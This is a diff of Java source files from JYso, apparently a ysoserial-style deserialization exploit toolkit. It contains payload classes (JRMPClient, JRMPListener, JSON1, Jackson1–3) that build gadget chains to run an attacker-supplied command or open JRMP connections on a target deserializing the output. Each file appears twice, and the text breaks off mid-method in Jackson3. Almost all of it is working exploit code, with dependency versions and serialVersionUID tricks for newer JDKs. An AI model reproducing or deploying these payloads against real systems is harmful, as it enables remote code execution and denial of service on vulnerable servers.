* UnicastRef.readExternal(ObjectInput)
* <p>
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
* <p>
* Requires:
* - JavaSE
* <p>
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
* <p>
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Authors({Authors.MBECHLER})
public class JRMPClient implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.parseInt(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
/**
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
* <p>
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
* <p>
* Requires:
* - JavaSE
* <p>
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
* <p>
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Authors({Authors.MBECHLER})
public class JRMPClient implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.parseInt(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
}
}
@@ -1,38 +1,38 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings({"unused"})
@Authors({"mbechler"})
public class JRMPClient_Activator implements ObjectPayload<Activator> {
@Override
public Activator getObject(String command) throws Exception {
UnicastRef ref = JRMPSource(command);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
}
static UnicastRef JRMPSource(String command) {
String host;
int port, sep = command.indexOf(':');
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.parseInt(command.substring(sep + 1));
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
return new UnicastRef(new LiveRef(id, te, false));
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings({"unused"})
@Authors({"mbechler"})
public class JRMPClient_Activator implements ObjectPayload<Activator> {
@Override
public Activator getObject(String command) throws Exception {
UnicastRef ref = JRMPSource(command);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
}
static UnicastRef JRMPSource(String command) {
String host;
int port, sep = command.indexOf(':');
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.parseInt(command.substring(sep + 1));
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
return new UnicastRef(new LiveRef(id, te, false));
}
}
@@ -1,16 +1,16 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import java.rmi.server.RemoteObjectInvocationHandler;
@SuppressWarnings({"unused"})
@Authors({"mbechler"})
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
@Override
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
return new RemoteObjectInvocationHandler(ref);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import java.rmi.server.RemoteObjectInvocationHandler;
@SuppressWarnings({"unused"})
@Authors({"mbechler"})
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
@Override
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
return new RemoteObjectInvocationHandler(ref);
}
}
@@ -1,47 +1,47 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Reflections;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
* <p>
* Requires:
* - JavaSE
* <p>
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings({
"restriction"
})
@Authors({Authors.MBECHLER})
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
@Override
public UnicastRemoteObject getObject(String command) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
RemoteRef.class
}, new Object[]{
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Reflections;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
* <p>
* Requires:
* - JavaSE
* <p>
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings({
"restriction"
})
@Authors({Authors.MBECHLER})
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
@Override
public UnicastRemoteObject getObject(String command) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
RemoteRef.class
}, new Object[]{
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
}
+90 -90
View File
@@ -1,90 +1,90 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import net.sf.json.JSONObject;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.openmbean.*;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
/**
* A bit more convoluted example
* <p>
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
@Authors({Authors.MBECHLER})
public class JSON1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object tql;
tql = Gadgets.createTemplatesImpl(command);
Class ifaces = Templates.class;
CompositeType rt = new CompositeType("a", "b",
new String[]{"a"},
new String[]{"a"},
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
);
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tql);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return makeMap(t1, t2);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import net.sf.json.JSONObject;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.openmbean.*;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
/**
* A bit more convoluted example
* <p>
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
@Authors({Authors.MBECHLER})
public class JSON1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object tql;
tql = Gadgets.createTemplatesImpl(command);
Class ifaces = Templates.class;
CompositeType rt = new CompositeType("a", "b",
new String[]{"a"},
new String[]{"a"},
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
);
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tql);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return makeMap(t1, t2);
}
}
@@ -1,46 +1,46 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
public class Jackson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object tempImpl;
tempImpl = Gadgets.createTemplatesImpl(command);
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(tempImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
//清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null);
HashMap hashMap = new HashMap();
hashMap.put(tempImpl, val);
return hashMap;
}
}
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
public class Jackson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object tempImpl;
tempImpl = Gadgets.createTemplatesImpl(command);
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(tempImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
//清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null);
HashMap hashMap = new HashMap();
hashMap.put(tempImpl, val);
return hashMap;
}
}
@@ -1,48 +1,48 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@SuppressWarnings({"rawtypes", "unused"})
public class Jackson2 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
}
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
//清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null);
return val;
}
}
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@SuppressWarnings({"rawtypes", "unused"})
public class Jackson2 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
}
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
//清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
setFieldValue(val, "cause", null);
setFieldValue(val, "suppressedExceptions", null);
return val;
}
}
+125 -125
View File
@@ -1,125 +1,125 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.AdvisorChainFactory;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
//Jackson2链的JDK17改造
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.JSJCW})
public class Jackson3 implements ObjectPayload<Object> {
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
//<=6.0.23为6115154060221772279
//>=6.1.0 为273003553246259276
String sUID = "273003553246259276";
CtClass ctDefaultAdvisorChainFactory = insertField(
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
"private static final long serialVersionUID = " + sUID + "L;");
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
return (InvocationHandler) constructor.newInstance(advisedSupport);
}
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
InvocationHandler handler = setSuidSource(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
}
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = setSuidSource(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
}
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
Object advisedSupport = advisedSupportClazz.newInstance();
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
}
public static Object getEventListenerList(Object obj) throws Exception {
//>=6.1.0 为-7977902244297240866
//<=6.0.23为-5677132037850737084
String sUID1 = "7977902244297240866";
CtClass ctEventListenerList = insertField(
"javax.swing.event.EventListenerList",
"private static final long serialVersionUID = -" + sUID1 + "L;");
Object list = ctEventListenerList.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
//>=6.1.0 为-1045223116463488483
//<=6.0.23为-2077529998244066750
String sUID2 = "1045223116463488483";
CtClass ctUndoManager = insertField(
"javax.swing.undo.UndoManager",
"private static final long serialVersionUID = -" + sUID2 + "L;");
Object undomanager = ctUndoManager.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
@Override
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception ignored) {
}
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
return getEventListenerList(node);
}
}
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.AdvisorChainFactory;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
//Jackson2链的JDK17改造
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.JSJCW})
public class Jackson3 implements ObjectPayload<Object> {
static InvocationHandler setSuidSource(AdvisedSupport advisedSupport) throws Exception {
//<=6.0.23为6115154060221772279
//>=6.1.0 为273003553246259276
String sUID = "273003553246259276";
CtClass ctDefaultAdvisorChainFactory = insertField(
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
"private static final long serialVersionUID = " + sUID + "L;");
Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
